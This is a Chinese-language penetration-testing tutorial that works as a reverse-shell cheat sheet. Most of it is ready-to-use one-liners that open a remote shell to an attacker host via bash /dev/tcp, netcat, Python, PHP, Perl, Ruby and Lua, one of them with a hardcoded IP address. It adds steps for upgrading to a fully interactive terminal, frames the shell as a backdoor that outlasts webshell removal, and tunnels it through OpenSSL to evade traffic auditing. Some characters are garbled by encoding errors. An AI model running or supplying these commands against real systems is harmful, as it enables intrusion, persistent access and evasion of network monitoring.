什么是shell
shell是滲透中常用的名詞,像getshell,webshell,反彈shell等等,都和shell相關(guān)。
百度百科解釋的shell:
在計(jì)算機(jī)科學(xué)中,Shell俗稱殼(用來(lái)區(qū)別于核),是指“為使用者提供操作界面”的軟件(命令解析器)。它類似于DOS下的command.com和后來(lái)的cmd.exe。它接收用戶命令,然后調(diào)用相應(yīng)的應(yīng)用程序。
簡(jiǎn)單說(shuō)用戶通過(guò)殼訪問(wèn)操作系統(tǒng)內(nèi)核的服務(wù),也就是由殼到內(nèi)核,執(zhí)行系統(tǒng)命令。
getshell:獲取到目標(biāo)的命令執(zhí)行權(quán)限
webshell:指網(wǎng)站后門,通過(guò)web服務(wù)進(jìn)行命令執(zhí)行
反彈shell:把命令行的輸入輸出轉(zhuǎn)移到其它主機(jī)
為什么要反彈shell
1、webshell下執(zhí)行命令不交互,為了方便提權(quán)或其它操作必須要反彈shell。
2、反彈shell相當(dāng)于新增一個(gè)后門,當(dāng)webshell被發(fā)現(xiàn)刪除后權(quán)限不會(huì)丟失。
常用linux反彈shell的方式
使用whereis命令去確定目標(biāo)支持的反彈方法。
whereis nc bash python php exec lua perl ruby

bash反彈shell
bash反彈是實(shí)戰(zhàn)中用的最多的方法
nc -lvp 9999
bash -i >& /dev/tcp/ip/port 0>&1
把命令拆開分析:
1、bash -i代表在本地打開一個(gè)bash
2、/dev/tcp/是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接
3、>&后面跟上/dev/tcp/ip/port這個(gè)文件代表將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到這個(gè)文件,也就是傳遞到遠(yuǎn)程vps
4、遠(yuǎn)程vps開啟對(duì)應(yīng)的端口去監(jiān)聽,就會(huì)接收到這個(gè)bash的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出。
nc反彈shell
需要目標(biāo)主機(jī)安裝了nc
nc ip port -e /bin/sh
使用其他版本的 nc
nc.traditional ip port -e /bin/sh

配合命名管道進(jìn)行反彈:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f


python反彈shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.136.27",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


首先使用socket與遠(yuǎn)程建立起連接,接下來(lái)使用到了os庫(kù)的dup2方法將標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到遠(yuǎn)程,dup2這個(gè)方法有兩個(gè)參數(shù),分別為文件描述符fd1和fd2,當(dāng)fd2參數(shù)存在時(shí),就關(guān)閉fd2,然后將fd1代表的那個(gè)文件強(qiáng)行復(fù)制給fd2,在這里可以把fd1和fd2看作是C語(yǔ)言里的指針,將fd1賦值給fd2,就相當(dāng)于將fd2指向于s.fileno(),fileno()返回的是一個(gè)文件描述符,在這里也就是建立socket連接返回的文件描述符,打印出來(lái)數(shù)值為3

0代表標(biāo)準(zhǔn)輸入、1代表標(biāo)準(zhǔn)輸出、2代表標(biāo)準(zhǔn)錯(cuò)誤輸出、3代表重定向到遠(yuǎn)程
接下來(lái)使用os的subprocess在本地開啟一個(gè)子進(jìn)程,傳入?yún)?shù)“-i”使bash以交互模式啟動(dòng),標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤輸出又被重定向到了遠(yuǎn)程,這樣的話就可以在遠(yuǎn)程執(zhí)行輸入命令了。
php反彈shell
需要php關(guān)閉safe_mode選項(xiàng),才可以使用exec函數(shù)。
使用php的exec函數(shù)執(zhí)行方法1反彈shell的命令
php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
使用php的fsockopen去反彈shell
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
其它反彈方法
exec反彈
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
perl反彈
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby反彈
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua反彈
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
獲取一個(gè)完全交互shell
通過(guò)上述命令反彈shell得到的shell并不能稱為完全交互的shell,通常稱之為'啞'shell。
通常存在以下缺點(diǎn)
- ctrl-c會(huì)中斷會(huì)話
- 無(wú)法正常使用vim等文本編輯器
- 沒有向上箭頭使用歷史
- 無(wú)法執(zhí)行交互式命令
- 無(wú)法查看錯(cuò)誤輸出
- 無(wú)法使用 tab 命令補(bǔ)全
- 無(wú)法操控jobcontrol
因此有必要去獲取一個(gè)完全交互的shell。
1、在啞 shell 中執(zhí)行python,使用pty模塊,創(chuàng)建一個(gè)原生的終端,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'

運(yùn)行完后
2、鍵入 Ctrl-Z暫停任務(wù),切回到 VPS 的命令行中;在 VPS 中執(zhí)行:
stty raw -echo
fg #將后臺(tái)運(yùn)行或掛起的任務(wù)切換到前臺(tái)運(yùn)行

3、在啞 shell 中執(zhí)行,得到一個(gè)完全交互的shell,支持命令補(bǔ)全、歷史命令查看、語(yǔ)法高亮、vim編輯等功能。
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104

SSL流量加密
部分防護(hù)設(shè)備會(huì)對(duì)內(nèi)外網(wǎng)傳輸流量進(jìn)行審查,反彈shell執(zhí)行命令都是以明文進(jìn)行傳輸?shù)?,很容易被查殺?br> 因此需要將原始流量使用 openssl 加密,繞過(guò)流量審計(jì)設(shè)備。

1、首先vps上生成SSL證書的公鑰/私鑰對(duì),信息懶得填,一直回車即可。
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

2、vps使用 OpenSSL 監(jiān)聽一個(gè)端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

3、目標(biāo)主機(jī)執(zhí)行反彈加密shell
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

反彈成功,成功接收到ssl流量加密的shell。

參考鏈接
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.sohu.com/a/161766202_709042
https://www.freebuf.com/vuls/211847.html
https://www.freebuf.com/articles/system/178150.html
https://zhuanlan.zhihu.com/p/138393396
https://www.cnblogs.com/Dubing-ydfc/p/11749241.html